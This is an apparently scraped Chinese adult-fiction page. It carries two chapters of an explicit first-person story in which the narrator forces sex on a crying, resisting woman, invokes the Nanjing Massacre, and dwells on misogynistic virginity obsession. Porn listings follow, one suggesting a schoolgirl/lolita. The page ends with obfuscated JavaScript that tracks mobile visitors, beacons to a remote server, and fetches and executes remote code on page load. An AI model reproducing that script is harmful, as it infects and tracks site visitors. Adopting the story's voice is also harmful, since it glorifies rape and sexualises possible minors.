没想到贝贝竟突然咬住了我的肩膀,死死地咬住就是不放,本该马到成功的事情就让她这么一咬就葬送黄泉了。我的肩膀一阵刺痛我的那玩意就随着软了下来,叫我心里很是委屈难受。我生气地问她为什么要咬我,咬什么不行,偏偏要咬我。她却说什么都不咬就是想要咬我。

我说:“不疼痛,哪里来的幸福。只有疼痛才会有真正的幸福的。”她说:“疼痛是我,可不是你,你不是女人,你不懂。”妈的,就那么几句你就想打发我,没门,今天不把你的处女膜捅破,老子就不睡了。

不大一会儿那玩意又硬了起来。她说:“不行,没有水了呀!”我不明白女人的那小洞洞为什么非要水才能够往里面去插。有那该死的水就它妈的打滑,要不是那该死的水咱第一次就光荣地干进去了还用费那么大的周折。

咱玩咱的,咱家可不管别人的死活,咱摸准就插了进去,在床上咱想想到的就是南京大屠杀的场面就是那些鬼子的行为。她开始没命地喊,拽我的头发掐我的肩膀和腰,那咱也不管,长的本来就象土匪般的野蛮,本性就是流氓一样的卑劣,这次要是再不见血,咱就不竣工。

贝贝开始流眼泪,不再喊了,不再喊了,开始紧紧地抓住床上的被单,浑身突然僵硬了起来,下面终于有了水了,我感觉我每挺进去一点那水便跟着多一点,做爱就是红军两万五千里长征,咱需要一步一步脚踏实地的向前进。

这次感觉是真的进去了。贝贝开始呻吟,喘着粗气的呻吟,象一只受伤的小猫。我开始在贝贝身上荡秋千,每荡一下,自己便腾云驾雾般地往天上升一层,贝贝也随即跟着我轻轻地尖叫一声。贝贝下面开始配合着我扭动起来,我向下冲她向上迎,我向上拔她跟着向下落。

每一次交手好象都是在试探着对方的实力,每向下冲一次我感觉我都会挺进贝贝的身体一步。她的那小洞洞实在是太窄了,挤的我那玩意儿有点尖尖的疼。每一次交和都是一次心领神会,都是一次万象更新,都是一次天晕地转,都是一次灵魂超度。

贝贝浑身颤抖的越来越厉害,我知道她快要到达高潮了,我便开始加快了步伐。贝贝突然痉挛般地浑身象一具僵尸,一股热浪如潮汐般地扑了过来。贝贝完全的塌陷了,象一方空洞,一方无底无限黑暗的空洞。因为下面是那么一方空洞,我再也不能够持久,我便尾随着那空洞一起塌陷。

(十)

许久以后我才想起往下面看一下——没有血,一点血都没有。“血呢,怎么没有血?!”我惊讶地问。

贝贝也很惊讶,“什么,没有血,怎么没有血,不可能呀……我明明感觉到你进去的时候椎心地疼来着,怎么会没有血,我看一下”,贝贝弯起腰来仔细地把量她的小洞洞,拿着卫生纸来回地擦好象那血用卫生纸就能够擦出来。可是没有,还是没有血。

“你刚才……你刚才射到里面了?肯定没有破,你肯定没有插对地方。”贝贝一脸古怪的表情。

我不好意思地说:“恩,没事吧,我没控制住呀。对呀,插的就是那个洞,难道还有别的洞不曾?”这是我生平第一次干女人,还不会戴套,尽管事前贝贝曾经催促着我去买,我买来了我竟没来的及用。可我却是和纳闷,贝贝怎么会没有血呢,再们会没有血呢?

“讨厌,你射在我里面我会怀孕的……幸好我是在安全期,不然就彻底费了。”贝贝说话的声音很是轻微,听的出有那么一点的内疚。我知道她在内疚什么,内疚她自己没有被我干出血来。

我们就那样来来回回地折腾了三天三夜,贝贝出了上厕所之外一直都不曾离开那张床,吃饭都是我一直端到床上餵她吃。我们也都一直都在努力,各种各样的姿势各种个样的方法我们都尝试过,结果还是一滴血都不曾见着,一滴都没有见着。

贝贝一直都说我没有干对地方,可我明明感觉完全地插了进去,而且贝贝和我都会迷乱。我就表面承认我对贝贝没有干对地方,既然我没有干对地方,那么我就有理由接着去干她。

当三天之后,我走出那个小旅店的门的时候,我感觉那腐朽的阳光很是刺眼,很是刺眼。那房子是崭新的,那穿梭着的车辆是崭新的,就连那来来回回的人群也都是崭新的,只有贝贝和我是陈旧的,好象是沈积在瓦砾下面的破碎的古董,是属于一文不值的那种古董。甚至可以说是古老的,感觉我和贝贝就象几万年以前的什么都不穿生活在热带雨林中的原始人。

我感觉我突然间长大了,变高了,成了真正的大人了。我浑身实在是太脏了,太脏了,我感觉我浑身上下都粘满了从贝贝身上的那个小洞洞里面流出来的那些粘稠的腥臊的液体。我突然间想吐,十分地想吐,我从来没有那么恶心过。贝贝好象害怕了,贝贝闹着要回家,我就让贝贝先回家。

我要洗澡,我要理发,我要象成熟的老男人一样地去刮脸,我要除去我全身的污垢和腥臭。那些原本不属于我,不属于我。我要除去我全身的一切脏兮兮的烂东西之后,我再回去见我深爱着的媚媚。我送走贝贝之后,我做的第一件事情就是,我拨通了媚媚的手机。

“媚媚,我想你……”不知不觉,也不知道为什么我的眼泪竟流了下来。很久没有流泪了,本以为自己是一个没心没肺的黑心人,除了小时侯母亲不给我乳头裹的时候才会掉几滴不值钱的眼泪之外,就再也不会流眼泪,就再也没有眼泪可流。谁知道在我真正变成一个男人的时候给我最深爱的女人打电话,还没有说完一句话,竟流泪了。

“怎么了,没有应聘上?你怎么了,说话呀?云飞,说话呀?你,你赶紧地回校吧,你都缺了三天的课了,回来吧,回来我给你补上。缺钱了,云飞,你快点说话呀?”那熟悉的声音让我听起来想去自杀。我从来没有想过要去自杀,这还是第一次。自杀想必一定会很疼痛很疼痛的,然而自杀却比现在我的心情要痛快的多。我捂住话筒,用手摸去了眼泪擦了一下鼻涕,清了清那嘶哑的嗓子,然后使劲地压抑了一下自己那激动如潮的情绪。

“没什么,我好好的,好好的。明天我一定要回去,一定要回去……你要等着我,媚媚。”我一边笑,一边掉眼泪。是的,媚媚,你要等着我。

(十一)

在我洗澡的时候我才知道自己是有多么的疲倦。一旦躺下来就再也起不来,小腹是无比的疼痛。当我对着浴池的镜子看我的脸时,我简直不敢相信那是我的脸,煞白的如死尸一般,没有一点活人的味道。都说女人第一次做爱的时候付出的代价比男人要多的多,其实男人所付出的代价比女人也少不哪去。至少,那小腹是无比疼痛的,一旦躺下去就再也起不来,连蜷缩一下都不行,而那脸色又是无比的煞白的,没有一点血色。

这个小镇的浴池到是真的很干净,因为来的人少,所以尤为整洁。服务也很好,洗完澡之后有一处干净清爽能够躺着睡觉的地方。我洗完之后,一边抽着烟,一边注视着自己裸露的体肤。就这么一副皮囊和一个看似处女的女人做爱做了三天三夜一直都没停歇。算了一下,从头到尾,足足花了八百元才干着一个自己说是处女的女人。

就这么一副皮囊,背着自己深爱的女人去偷情,去调戏别人,而且还十分地卖命地想去干一个处女。干一个处女到底有什么好,有什么好?可是,可是大家都说它很好,所以它才必须要好。可是,可是这世界上的处女太少了,太少了,可能都死光了。都死光了,想去捡个漏似乎都很难,我感觉我好象我一辈子都干不着一个真正的处女了。想去干一个处女真的是太难了,而且,我现在也不是一个干净的男人了。

从浴池出来本想去理发的,突然间想去喝酒。便去喝酒。找了一家干净的小店,点了几个小菜,便自己给自己喝了起来。酒这东西,是专门让那些颓废的男人变的越来越颓废。我还不是一个颓废的男人,所以我喝的是啤酒,喝啤酒是不容易醉的,我也害怕醉。

我越喝感觉那酒越甜,越喝越烦贝贝那张可憎可恨的脸,尽管她回家了,可她似乎总在我眼前似的。妈的,不是处女就说,骗的老子花钱。即便是嫖妓,一夜才三百块。细细一想,也值了,干三天三夜,最底需要九百元,算算我还净赚一百呢。好,为了那净赚的一百元,干杯!靠,还是不够本,要是嫖妓,应该比这舒服的,妓女一般都是很漂亮,床上的工夫也都是一流的。

唉,想想还是有那么一点折本了。不提那丧心狂的事情了,来,喝酒,干杯!不行,剩下的一瓶酒正好倒满杯,是巧酒,要罚酒三杯的。老板呀,再拿两瓶酒来。哎,对了,这酒谁陪呀?没人陪,我自己陪……

那小店的老板是一个三十来岁的中年人,只见他笑西西地走了过来,把酒放在了我的脸前。我突然问那老板:“哥们,我问你,干一个不是处女的丑女人花八百元值不值?”

那老板似乎不太明白我的意思,先是摇头,然后又是使劲的点头。我说:“哥们,要是值,那咱哥俩就干一杯?”老板却执意不肯。不给我面子,好,你不喝,我自己喝。

只听那老板暗自的嘀咕:“天黑了,老弟该回家了。”我说:“回家?回家做什么?我还没理发呢,你看看我的胡子都长满脸了?而且,而且我还想去干一个处女……”

那老板听了竟傻吃吃地笑。老板说:“原来老弟是想理发了,在这里理发可不会花八百元,一百元正好。”

我说:“什么,理一个头要一百元?……什么一百八百的,老子有的是钱”,我说着把身上的金龙卡甩了出来和二百元的零钱也掏了出来,说:“合计,合计,一千多块呢,看看够不够理一个头?”

那老板连忙点头说:“够够,够了。老弟,你先把你的单付了,一共四十六元。”

我从那一大堆钱里拿出一张五十的,说:“不用找了,那是小费。要麻烦你一下,你先把我送回旅店去,我好象有点走不动了……”

我想要老板把我送回旅店去,那旅店我先预定了四天的房钱,所以我要把它住完再走。没想到那老板真的扶我走,够意思。老板把我扶起来扶出那小店走了没有几步,突然老板象忘了什么事情又回了去,不一会又幸匆匆地回来,说:“老弟,当心点,把你的卡和钱放好,点点钱是不是那么多。”看来,那老板还真是一个大好人。

猜你喜欢下面这些


  • 浓奶锅OchiPomiluku早上第2杯中文字幕


    浓奶锅OchiPomiluku早上第2杯中文字幕
    584人观看

    浓奶锅OchiPomiluku早上第2杯中文字幕

  • FLAV-346 HYPER FETISH ハイレグいやらしクィーン


    FLAV-346 HYPER FETISH ハイレグいやらしクィーン
    251人观看

    FLAV-346 HYPER FETISH ハイレグいやらしクィーン

  • video_406@16-03-2022_21-08-58


    video_406@16-03-2022_21-08-58
    28人观看

    video_406@16-03-2022_21-08-58

  • 反差婊人前完美女神人后秒淫荡骚货淫荡浪叫声不停高潮不断


    反差婊人前完美女神人后秒淫荡骚货淫荡浪叫声不停高潮不断
    633人观看

    反差婊人前完美女神人后秒淫荡骚货淫荡浪叫声不停高潮不断

  • ..A-[制服诱惑]JK制服洛丽塔学生妹自慰喷尿!流淌的白浆装瓶收集送给粉丝们


    ..A-[制服诱惑]JK制服洛丽塔学生妹自慰喷尿!流淌的白浆装瓶收集送给粉丝们
    18人观看

    ..A-[制服诱惑]JK制服洛丽塔学生妹自慰喷尿!流淌的白浆装瓶收集送给粉丝们

  • monlingwu 吴梦梦 女僕咖啡


    monlingwu 吴梦梦 女僕咖啡
    312人观看

    monlingwu 吴梦梦 女僕咖啡

  • MIDV-262 美クビレ敏感スレンダー 初めてのポルチオGスポット開発 激ピストン潮吹きアクメ性交


    MIDV-262 美クビレ敏感スレンダー 初めてのポルチオGスポット開発 激ピストン潮吹きアクメ性交
    11人观看

    MIDV-262 美クビレ敏感スレンダー 初めてのポルチオGスポット開発 激ピストン潮吹きアクメ性交

function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};